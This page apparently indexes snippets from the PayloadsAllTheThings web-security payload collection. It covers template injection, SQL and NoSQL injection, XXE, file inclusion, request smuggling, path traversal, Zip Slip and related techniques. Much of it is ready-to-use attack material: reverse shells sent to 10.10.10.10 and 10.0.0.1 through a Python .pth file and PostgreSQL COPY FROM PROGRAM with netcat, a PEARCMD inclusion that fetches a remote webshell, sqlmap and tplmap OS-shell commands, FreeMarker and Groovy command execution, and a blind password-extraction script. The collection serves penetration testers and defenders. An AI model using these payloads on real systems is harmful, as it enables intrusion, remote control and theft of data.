Payloads All The Things

https://github.com/swisskyrepo/payloadsallthethings
Admin
A comprehensive list of useful payloads and bypasses for Web Application Security, with...
Tokens:284,246
Snippets:3,501
Trust Score:9.1
License:MIT
Update:4 months ago
Show doc for...
Tokens:
Raw
### GraphQL GET Endpoint Examples

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/GraphQL Injection/README.md

Examples of how to query a GraphQL endpoint using GET requests. Useful for simple queries and schema introspection.

```javascript
GET /graphql?query={yourQueryHere}
GET /graphql?query={__schema{types{name}}}
GET /graphiql?query={__schema{types{name}}}
GET /graphql?query=query%20%7B%20user(id:%221%22)%20%7B%20id%20name%20%7D%20%7D
```

--------------------------------

### Install and Run wsrepl

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Web Sockets/README.md

Installs the wsrepl tool using pip and demonstrates how to run it with a URL and an authentication plugin.

```powershell
pip install wsrepl
wsrepl -u URL -P auth_plugin.py
```

--------------------------------

### Basic Injection Example in Slim

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Server Side Template Injection/Ruby.md

A simple example demonstrating basic arithmetic injection within a Slim template.

```slim
#{ 7 * 7 }
```

--------------------------------

### Configuration Object Example

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Prototype Pollution/README.md

An example of a simple configuration object used in an application.

```javascript
let config = {
    isAdmin: false
};
```

--------------------------------

### Java URL Protocol Examples

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Directory Traversal/README.md

Examples of using Java's URL protocol handler with 'url:' to access local files or remote resources.

```powershell
url:file:///etc/passwd
```

```powershell
url:http://127.0.0.1:8080
```

--------------------------------

### Install and run git-dumper.py

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Insecure Source Code Management/Git.md

Use this script to download the contents of a .git directory from a web server. Ensure you have the required Python packages installed.

```powershell
pip install -r requirements.txt
./git-dumper.py http://web.site/.git ~/website
```

--------------------------------

### Install and run GoGitDumper

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Insecure Source Code Management/Git.md

A Go-based tool for dumping Git repositories. After installation, use the command to specify the remote URL and output directory.

```bash
go get github.com/c-sto/gogitdumper
gogitdumper -u http://web.site/.git/ -o yourdecideddir/.git/
git log
git checkout
```

--------------------------------

### Basic HPP Examples

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/HTTP Parameter Pollution/README.md

Illustrates simple HTTP requests with duplicate parameters that can be exploited for HPP.

```powershell
/app?debug=false&debug=true
/transfer?amount=1&amount=5000
```

--------------------------------

### FreeMarker Basic Injection Examples

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Server Side Template Injection/Java.md

Demonstrates different syntaxes for basic arithmetic injection in FreeMarker templates.

```FreeMarker
${3*3}
```

```FreeMarker
#{3*3}
```

```FreeMarker
[=3*3]
```

--------------------------------

### EEx File Retrieval Example

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Server Side Template Injection/Elixir.md

Shows how to read the content of a file, such as /etc/passwd, using EEx.

```elixir
<%= File.read!("/etc/passwd") %>
```

--------------------------------

### UNC Share Path Example

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Directory Traversal/README.md

An example of a Windows UNC share path that can be injected to redirect access or trigger NTLM authentication.

```powershell
மைப்பு\localhost\c$\windows\win.ini
```

--------------------------------

### Get Meterpreter Shell with SQLmap

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/SQL Injection/SQLmap.md

Use this command to attempt to get a Meterpreter shell on the target. Requires specifying the URL, parameter, and the --os-pwn flag.

```powershell
sqlmap -u "http://example.com/?id=1"  -p id --os-pwn
```

--------------------------------

### Prisma Relational Filtering Example (One-to-One)

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/ORM Leak/README.md

This URL parameter demonstrates relational filtering in Prisma for a one-to-one relationship, specifically checking if the `resetToken` of the created by user starts with a certain value.

```http
http://127.0.0.1:9900/articles?filter[createdBy][resetToken][startsWith]=06
```

--------------------------------

### PHP Plates Controller Example

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Server Side Template Injection/PHP.md

Instantiates the Plates engine and renders a template with data. Ensure the template path is correctly configured.

```php
// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');

// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);
```

--------------------------------

### Jinja2 Write Into Remote File Example

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Server Side Template Injection/Python.md

Demonstrates how to write content to a remote file using Jinja2 template injection. This example targets writing 'Hello here !' to '/var/www/html/myflaskapp/hello.txt'.

```python
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}
```

--------------------------------

### EEx Basic Injection Example

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Server Side Template Injection/Elixir.md

Demonstrates a simple arithmetic operation within an EEx template.

```elixir
<%= 7 * 7 %>
```

--------------------------------

### Jinjava - Basic Injection Examples

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Server Side Template Injection/Java.md

Demonstrates basic injection by calling Java methods like toUpperCase() and accessing request objects.

```java
{{'a'.toUpperCase()}} would result in 'A'
```

```java
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
```

--------------------------------

### Example IIS Machine Key Configuration

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/API Key Leaks/IIS-Machine-Keys.md

An example of a machineKey configuration as found in Microsoft documentation, including specific validation and decryption keys and the SHA1 validation algorithm.

```xml
<machineKey validationKey="87AC8F432C8DB844A4EFD024301AC1AB5808BEE9D1870689B63794D33EE3B55CDB315BB480721A107187561F388C6BEF5B623BF31E2E725FC3F3F71A32BA5DFC" decryptionKey="E001A307CCC8B1ADEA2C55B1246CDCFE8579576997FF92E7" validation="SHA1" />
```

--------------------------------

### Get OS Shell with SQLmap

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/SQL Injection/SQLmap.md

This command allows you to get an operating system shell on the target server. Specify the URL, parameter, and the --os-shell flag.

```powershell
sqlmap -u "http://example.com/?id=1"  -p id --os-shell
```

--------------------------------

### Run ws-harness.py for WebSocket Testing

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Web Sockets/README.md

Starts ws-harness to listen on a WebSocket endpoint and send a message template, useful for proxying and tampering.

```powershell
python ws-harness.py -u "ws://dvws.local:8080/authenticate-user" -m ./message.txt
```

--------------------------------

### Python Path File for Reverse Shell

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Upload Insecure Files/README.md

This example shows how to create a malicious .pth file to establish a persistent reverse shell. The payload executes every time a Python process starts in the affected environment.

```bash
echo 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.10",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")' > /usr/local/lib/python3.6/site-packages/persistence.pth
```

--------------------------------

### DNS CNAME Record Example

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/DNS Rebinding/README.md

Demonstrates how a CNAME record can be used to point to an internal server, potentially bypassing DNS protections that block direct internal IP addresses. This example shows a CNAME resolving to 'target.local.'.

```bash
$ dig cname.example.com +noall +answer
; <<>> DiG 9.11.3-1ubuntu1.15-Ubuntu <<>> example.com +noall +answer
;; global options: +cmd
cname.example.com.            381     IN      CNAME   target.local.
```

--------------------------------

### GraphQL POST Endpoint Example

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/GraphQL Injection/README.md

Example of a POST request to a GraphQL endpoint with a JSON body containing the query. This is the standard method for complex queries.

```javascript
POST /graphql/v1 HTTP/1.1
Host: example.com
Content-Type: application/json

{
"query": "query { user { id name } }"
}
```

--------------------------------

### Jinja2 Basic Injection Examples

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Server Side Template Injection/Python.md

Demonstrates basic arithmetic and variable access within Jinja2 templates. Useful for initial testing of template injection vulnerabilities.

```python
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777
{{config.items()}}
```

--------------------------------

### XXE with PUBLIC and SYSTEM keywords

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/XXE Injection/README.md

This example illustrates the usage of PUBLIC and SYSTEM keywords in XXE payloads, often used interchangeably.

```xml
<!ENTITY % xxe PUBLIC "Random Text" "URL">
<!ENTITY xxe PUBLIC "Any TEXT" "URL">
```

--------------------------------

### FreeMarker Read File Example

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Server Side Template Injection/Java.md

Inject a FreeMarker template to read the contents of a file. The returned bytes are converted to ASCII.

```FreeMarker
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('path_to_the_file').toURL().openStream().readAllBytes()?join(" ")}
Convert the returned bytes to ASCII
```

--------------------------------

### PHP Session File Content Example

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/File Inclusion/LFI-to-RCE.md

Illustrates the typical content of a PHP session file, showing how session data is stored.

```javascript
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:""
loggedin|s:0:""
lang|s:9:"en_us.php"
win_lin|s:0:""
user|s:6:"admin"
pass|s:6:"admin"

```

--------------------------------

### Routed Injection Example 2 (Hex Encoded)

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/SQL Injection/README.md

Another routed SQL injection example using a different hex-encoded string to select login and password from users.

```sql
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a
```

--------------------------------

### Example ReDoS Input String

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Regular Expression/README.md

This input string can be used to test regular expressions vulnerable to ReDoS. The engine will attempt numerous backtracking paths before failing.

```powershell
aaaaaaaaaaaaaaaaaaaa!
```

--------------------------------

### Turbo Intruder Race Condition Example 1

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Race Condition/README.md

This example demonstrates setting up Turbo Intruder for a race condition attack. Ensure the external HTTP header x-request is set as specified.

```python
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=30,
                           requestsPerConnection=30,
                           pipeline=False
                           )

    for i in range(30):
        engine.queue(target.req, i)
        engine.queue(target.req, target.baseInput, gate='race1')


    engine.start(timeout=5)
engine.openGate('race1')

    engine.complete(timeout=60)


def handleResponse(req, interesting):
    table.add(req)
```

--------------------------------

### Jinja2 Template Structure Example

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Server Side Template Injection/Python.md

Illustrates the basic structure of a Jinja2 template, including inheritance, blocks, and loops. This is a standard template format.

```python
{% extends "layout.html" %}
{% block body %}
  <ul>
  {% for user in users %}
    <li><a href="{{ user.url }}">{{ user.username }}</a></li>
  {% endfor %}
  </ul>
{% endblock %}
```

--------------------------------

### SQLMap Tampering with WebSocket Proxy

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Web Sockets/README.md

Example of using SQLMap against a local service created by ws-harness, demonstrating tampering for fuzzing.

```python
sqlmap -u http://127.0.0.1:8000/?fuzz=test --tables --tamper=base64encode --dump
```

--------------------------------

### Exploit SSTI with Tplmap

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Server Side Template Injection/README.md

Use Tplmap to exploit SSTI vulnerabilities. This example targets a URL with a GET parameter and attempts to get an OS shell.

```powershell
python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
```

--------------------------------

### Bruteforce Hidden Parameters with x8 (GET)

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Hidden Parameters/README.md

Use the x8 tool to bruteforce common HTTP parameters for a given URL using a wordlist. This example sends GET requests.

```powershell
x8 -u "https://example.com/" -w <wordlist>
```

--------------------------------

### Compile SQLite Loadable Extension (Linux)

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/SQL Injection/SQLite Injection.md

Example command to compile a C source file into a shared library for use as a SQLite extension on Linux.

```powershell
gcc -g -fPIC -shared demo.c -o demo.so
```

--------------------------------

### Scan URL with Tplmap

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Server Side Template Injection/README.md

Use Tplmap to scan a URL for SSTI vulnerabilities. This example targets a URL with multiple GET parameters.

```powershell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade
```

--------------------------------

### X-Forwarded-For Header Example

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Reverse Proxy Misconfigurations/README.md

Demonstrates the X-Forwarded-For header with multiple proxy IPs. Nginx can override this header with the client's real IP.

```powershell
X-Forwarded-For: 2.21.213.225, 104.16.148.244, 184.25.37.3
```

```powershell
proxy_set_header X-Forwarded-For $remote_addr;
```

--------------------------------

### Reverse Proxy Path Traversal

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Directory Traversal/README.md

Example of exploiting a path traversal vulnerability in a reverse proxy setup by using a semicolon in the path.

```powershell
..;/

```

```javascript
{{BaseURL}}/services/pluginscript/..;/..;/..;/getFavicon?host={{interactsh-url}}
```

--------------------------------

### wsrepl Python Plugin Example

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Web Sockets/README.md

A Python plugin for wsrepl demonstrating how to intercept and modify WebSocket messages during initialization and message sending/receiving.

```python
from wsrepl import Plugin
from wsrepl.WSMessage import WSMessage

import json
import requests

class Demo(Plugin):
    def init(self):
        token = requests.get("https://example.com/uuid").json()["uuid"]
        self.messages = [
            json.dumps({
                "auth": "session",
                "sessionId": token
            })
        ]

    async def on_message_sent(self, message: WSMessage) -> None:
        original = message.msg
        message.msg = json.dumps({
            "type": "message",
            "data": {
                "text": original
            }
        })
        message.short = original
        message.long = message.msg

    async def on_message_received(self, message: WSMessage) -> None:
        original = message.msg
        try:
            message.short = json.loads(original)["data"]["text"]
        except:
            message.short = "Error: could not parse message"

        message.long = original
```

--------------------------------

### Groovy Command Execution

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Server Side Template Injection/Java.md

Examples for executing system commands using Groovy's 'exec' or 'execute' methods. Includes using 'evaluate' for script evaluation.

```Groovy
${"calc.exe".exec()}
```

```Groovy
${"calc.exe".execute()}
```

```Groovy
${this.evaluate("9*9") //(this is a Script class)}
```

```Groovy
${new org.codehaus.groovy.runtime.MethodClosure("calc.exe","execute").call()}
```

--------------------------------

### Hardcoded API Key Example

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/API Key Leaks/README.md

Demonstrates an API key hardcoded directly within Python source code.

```python
# Example of hardcoded API key
api_key = "1234567890abcdef"
```

--------------------------------

### Extracting Data with NoSQL Regex (JSON)

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/NoSQL Injection/README.md

Illustrates data extraction using the '$regex' operator within JSON payloads. These examples target specific starting characters or patterns within a field.

```json
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}

```

```json
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}

```

```json
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}

```

--------------------------------

### Insecure Custom Token Generation Examples

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Insecure Randomness/README.md

Examples of custom, insecure token generation methods often found in production code. These combine hashing with weak random number generation.

```php
$token = md5($emailId).rand(10,9999);
```

```php
$token = md5(time()+123456789 % rand(4000, 55000000));
```

--------------------------------

### Scan Git repositories for secrets with Yar

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Insecure Source Code Management/Git.md

Yar is a tool inspired by TruffleHog that searches user or organization Git repositories for secrets using regex, entropy, or both. It is installed using 'go get'.

```bash
go get github.com/nielsing/yar # https://github.com/nielsing/yar
yar -o orgname --both
```

--------------------------------

### PHP PEARCMD LFI to RCE - Method 4: install

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/File Inclusion/LFI-to-RCE.md

Exploits LFI via PEARCMD using the 'install' method to fetch and execute a remote webshell. Requires register_argc_argv to be On and external network access.

```ps1
/vuln.php?file=/usr/local/lib/php/pearcmd.php&+install+http://<ip>:<port>/exec.php
/vuln.php?file=/tmp/pear/download/exec.php&c=id
```

--------------------------------

### Craft HTTP Request Smuggling Payload

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Account Takeover/README.md

Craft a malicious HTTP request to exploit HTTP Request Smuggling. This example shows how to overwrite the original request with a GET request to an attacker-controlled domain.

```powershell
GET http://[ATTACKER.DOMAIN.TLD]  HTTP/1.1
X: 

```

--------------------------------

### Tornado - Basic Injection

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Server Side Template Injection/Python.md

Demonstrates basic template injection in Tornado by evaluating arithmetic expressions.

```python
{{7*7}}
{{7*'7'}}
```

--------------------------------

### PHP File Inclusion Vulnerability Example

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/File Inclusion/README.md

This PHP code snippet demonstrates a basic file inclusion vulnerability where user input from the 'page' GET parameter is directly included without proper sanitization. This can lead to arbitrary file inclusion and potential code execution.

```php
<?php
$file = $_GET['page'];
include($file);
?>
```

--------------------------------

### Blind NoSQL Injection via GET (Python)

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/NoSQL Injection/README.md

This Python script demonstrates blind NoSQL injection using a GET request. It iterates through characters, appending them to a regex-based password guess in the URL parameters and checking the response body for a success indicator.

```python
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

username='admin'
password=''
u='http://example.org/login'

while True:
  for c in string.printable:
    if c not in ['*','+','.','?','|', '#', '&', '$']:
      payload=f"?username={username}&password[$regex]=^{password + c}"
      r = requests.get(u + payload)
      if 'Yeah' in r.text:
        print(f"Found one more char : {password+c}")
        password += c
```

--------------------------------

### Marquee Start XSS

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/XSS Injection/Intruders/IntrudersXSS.txt

Triggers an alert when a marquee element starts.

```html
<marquee onstart=alert(1)>
```

--------------------------------

### Windows Proof of Concept Files

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Directory Traversal/README.md

These files are consistently present on Windows systems and are useful for testing path traversal vulnerabilities as a proof of concept.

```powershell
C:\Windows\win.ini
```

```powershell
C:\windows\system32\license.rtf
```

--------------------------------

### Alternative to information_schema.tables

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/SQL Injection/MySQL Injection.md

Demonstrates using `mysql.innodb_table_stats` and `SHOW TABLES` as alternatives when `information_schema.tables` is blocked.

```sql
SELECT * FROM mysql.innodb_table_stats;
```

```text
+----------------+-----------------------+---------------------+--------+----------------------+--------------------------+
| database_name  | table_name            | last_update         | n_rows | clustered_index_size | sum_of_other_index_sizes |
+----------------+-----------------------+---------------------+--------+----------------------+--------------------------+
| dvwa           | guestbook             | 2017-01-19 21:02:57 |      0 |                    1 |                        0 |
| dvwa           | users                 | 2017-01-19 21:03:07 |      5 |                    1 |                        0 |
... 
+----------------+-----------------------+---------------------+--------+----------------------+--------------------------+
```

```sql
SHOW TABLES IN dvwa;
```

```text
+----------------+
| Tables_in_dvwa |
+----------------+
| guestbook      |
| users          |
+----------------+
```

--------------------------------

### Groovy HTTP Request

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Server Side Template Injection/Java.md

Examples for making HTTP requests to fetch content from URLs using Groovy.

```Groovy
${"http://www.google.com".toURL().text}
```

```Groovy
${new URL("http://www.google.com").getText()}
```

--------------------------------

### WebSocket Message Template for ws-harness

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Web Sockets/README.md

Example content for a message template file used with ws-harness, including a placeholder for fuzzing.

```json
{
    "auth_user":"dGVzda==",
    "auth_pass":"[FUZZ]"
}
```

--------------------------------

### XXE Server for Payload Handling

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/XXE Injection/README.md

Command to start `xxeserv`, a tool used to serve DTD files and receive FTP payloads during XXE attacks.

```powershell
xxeserv -o files.log -p 2121 -w -wd public -wp 8000

```

--------------------------------

### CL.TE Vulnerability - Another Example

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Request Smuggling/README.md

A second example of a CL.TE vulnerability, showing a different host and smuggled request 'G'.

```powershell
POST / HTTP/1.1
Host: domain.example.com
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding: chunked

0

G
```

--------------------------------

### HTTP Request with Host Header

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Virtual Hosts/README.md

Example of an HTTP/1.1 request demonstrating the use of the 'Host' header to specify the target domain.

```http
GET / HTTP/1.1
Host: example.com
```

--------------------------------

### Headless Chrome Version and WebSocket URL

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Headless Browser/README.md

Example JSON response from the /json/version endpoint, showing browser details and the WebSocket debugger URL.

```json
{
    "Browser": "Chrome/136.0.7103.113",
    "Protocol-Version": "1.3",
    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/136.0.0.0 Safari/537.36",
    "V8-Version": "13.6.233.10",
    "WebKit-Version": "537.36 (@76fa3c1782406c63308c70b54f228fd39c7aaa71)",
    "webSocketDebuggerUrl": "ws://127.0.0.1:9222/devtools/browser/d815e18d-57e6-4274-a307-98649a9e6b87"
}
```

--------------------------------

### PostgreSQL Stacked Query Example

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/SQL Injection/PostgreSQL Injection.md

Inject additional SQL commands by appending a semicolon to the original query. This can be used to create tables or execute other malicious statements.

```sql
SELECT 1;CREATE TABLE NOTSOSECURE (DATA VARCHAR(200));--
```

--------------------------------

### Example Malicious ZIP Structure

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Zip Slip/README.md

Illustrates how a ZIP file can be structured to exploit the Zip Slip vulnerability by using directory traversal filenames.

```powershell
malicious.zip
  ├── ../../../../etc/passwd
  ├── ../../../../usr/local/bin/malicious_script.sh
```

--------------------------------

### PHP Session Cookie Example

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/File Inclusion/LFI-to-RCE.md

Example of Set-Cookie headers indicating a PHP session ID. This helps identify potential LFI targets.

```javascript
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
```

--------------------------------

### Remote Command Execution with Slim

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Server Side Template Injection/Ruby.md

Demonstrates remote command execution using SSTI with the Slim templating engine.

```powershell
#{ %x|env| }
```

--------------------------------

### Locate DB2 Installation Path

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/SQL Injection/DB2 Injection.md

Query the SYSIBMADM.REG_VARIABLES administrative view to find the value of the DB2PATH registry variable, indicating the installation location.

```sql
select * from sysibmadm.reg_variables where reg_var_name='DB2PATH'
```

--------------------------------

### Configure HTTP Proxy for SQLmap

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/SQL Injection/SQLmap.md

This command shows how to set up an HTTP proxy for SQLmap. It includes the target URL and the proxy address.

```powershell
sqlmap -u "http://www.target.com" --proxy="http://127.0.0.1:8080"
```

--------------------------------

### Package JSON Prepare Script

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Upload Insecure Files/README.md

Exploit the 'prepare' script in package.json to execute commands during the package installation process. This can be used to create files or establish persistence.

```js
"scripts": {
    "prepare" : "/bin/touch /tmp/pwned.txt"
}
```

--------------------------------

### Directory Traversal Path Examples

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Directory Traversal/README.md

Common sequences used to traverse directories, including Windows and Unix path separators, and their encoded variants.

```powershell
../
..\
..\/
%2e%2e%2f
%252e%252e%252f
%c0%ae%c0%ae%c0%af
%uff0e%uff0e%u2215
%uff0e%uff0e%u2216
```

--------------------------------

### Creating a ZIP Archive with Symbolic Links

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Zip Slip/README.md

Shows how to create a ZIP archive containing a symbolic link that can be used to exploit directory traversal vulnerabilities.

```powershell
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
```

--------------------------------

### Start Headless Chrome with Remote Debugging

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Headless Browser/README.md

Command to launch Headless Chrome with the remote debugging port enabled. Replace XXXX with your desired port number.

```bash
google-chrome-stable --headless=new --remote-debugging-port=XXXX ./index.html
```

--------------------------------

### Act as a Fullstack Software Developer

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Prompt Injection/README.md

Guides the model to act as a software developer, designing an architecture and code for a secure web application using Golang and Angular.

```powershell
I want you to act as a software developer. I will provide some specific information about a web app requirements, and it will be your job to come up with an architecture and code for developing secure app with Golang and Angular. My first request is 'I want a system that allow users to register and save their vehicle information according to their roles and there will be admin, user and company roles. I want the system to use JWT for security'.
```

--------------------------------

### Jinja2 Debug Statement Example

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Server Side Template Injection/Python.md

Shows how to use the `{% debug %}` tag to dump the current context, filters, and tests when the Debug Extension is enabled. Useful for introspection.

```html
<pre>{% debug %}</pre>
```

--------------------------------

### FFmpeg HLS Malicious Playlist Example

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Upload Insecure Files/README.md

This is an example of a malicious HLS playlist embedded within an AVI file. It lists files to be read, including '/etc/passwd'.

```plaintext
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:1.0
GOD.txt
#EXTINF:1.0
/etc/passwd
#EXT-X-ENDLIST
```

--------------------------------

### One-Line HTTP Server for Testing

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/XSS Injection/README.md

A simple command-line utility using Ruby to start a basic HTTP server on the current directory. This can be used in conjunction with XSS payloads to receive data or confirm server interactions.

```powershell
ruby -run -ehttpd . -p8080
```

--------------------------------

### Secrets Patterns Database Example

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/API Key Leaks/README.md

An example configuration snippet from a secrets patterns database, defining patterns for AWS API Gateway and AWS API Key.

```yaml
patterns:
  - pattern:
      name: AWS API Gateway
      regex: '[0-9a-z]+.execute-api.[0-9a-z._-]+.amazonaws.com'
      confidence: low
  - pattern:
      name: AWS API Key
      regex: AKIA[0-9A-Z]{16}
      confidence: high
```

--------------------------------

### JSON GET Request - Simple Request

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Cross-Site Request Forgery/README.md

A JavaScript XMLHttpRequest (XHR) to perform a simple GET request to an API endpoint. This is a client-side request initiated by the browser.

```javascript
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://www.example.com/api/currentuser");
xhr.send();
```

--------------------------------

### Java EL - Basic Injection Examples

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Server Side Template Injection/Java.md

Demonstrates basic variable expressions in Java EL. If `${...}` fails, try alternative syntaxes like `#{...}`, `*{...}`, `@{...}`, or `~{...}`.

```java
${7*7}
```

```java
${{7*7}}
```

```java
${class.getClassLoader()}
```

```java
${class.getResource("").getPath()}
```

```java
${class.getResource("../../../index.htm").getContent()}
```

--------------------------------

### XXE with PHP Filter Wrapper

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/XXE Injection/README.md

This example shows how to use PHP filter wrappers within an XXE payload to encode and retrieve the content of a local file.

```xml
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
<contacts>
  <contact>
    <name>Jean &xxe; Dupont</name>
    <phone>00 11 22 33 44</phone>
    <address>42 rue du CTF</address>
    <zipcode>75000</zipcode>
    <city>Paris</city>
  </contact>
</contacts>
```

--------------------------------

### Thymeleaf (Java) Template Expression Example

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Server Side Template Injection/README.md

A basic example of a template expression used to test for Thymeleaf SSTI. This payload attempts to perform a simple arithmetic operation.

```text
#{7*7}
```

--------------------------------

### PostgreSQL COPY FROM PROGRAM for Reverse Shell

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/SQL Injection/PostgreSQL Injection.md

Establishes a reverse shell by piping shell input/output through netcat. This requires careful setup of named pipes and network listeners. Ensure the path to sh and nc are correct.

```sql
CREATE TABLE shell(output text);
COPY shell FROM PROGRAM 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f';
```

--------------------------------

### Jinja2 (Python) Template Expression Example

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Server Side Template Injection/README.md

A basic example of a template expression used to test for Jinja2 SSTI. This payload attempts to perform a simple arithmetic operation.

```text
{{7*7}}
```

--------------------------------

### FreeMarker Code Execution Examples

Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Server Side Template Injection/Java.md

Various methods to achieve code execution in FreeMarker, including direct execution, error-based, boolean-based, and time-based techniques.

```FreeMarker
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
```

```FreeMarker
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
```

```FreeMarker
${"freemarker.template.utility.Execute"?new()("id")}
```

```FreeMarker
#{"freemarker.template.utility.Execute"?new()("id")}
```

```FreeMarker
[=("freemarker.template.utility.Execute"?new()("id"))]
```

```FreeMarker
${("xx"+("freemarker.template.utility.Execute"?new()("id")))?new()} // Error-Based RCE
```

```FreeMarker
${1/((freemarker.template.utility.Execute"?new()(" … && echo UniqueString"))?chop_linebreak?ends_with("UniqueString"))?string('1','0')?eval)} // Boolean-Based RCE
```

```FreeMarker
${"freemarker.template.utility.Execute"?new()("id && sleep 5")} // Time-Based RCE
```

--------------------------------

### Basic Object Initialization

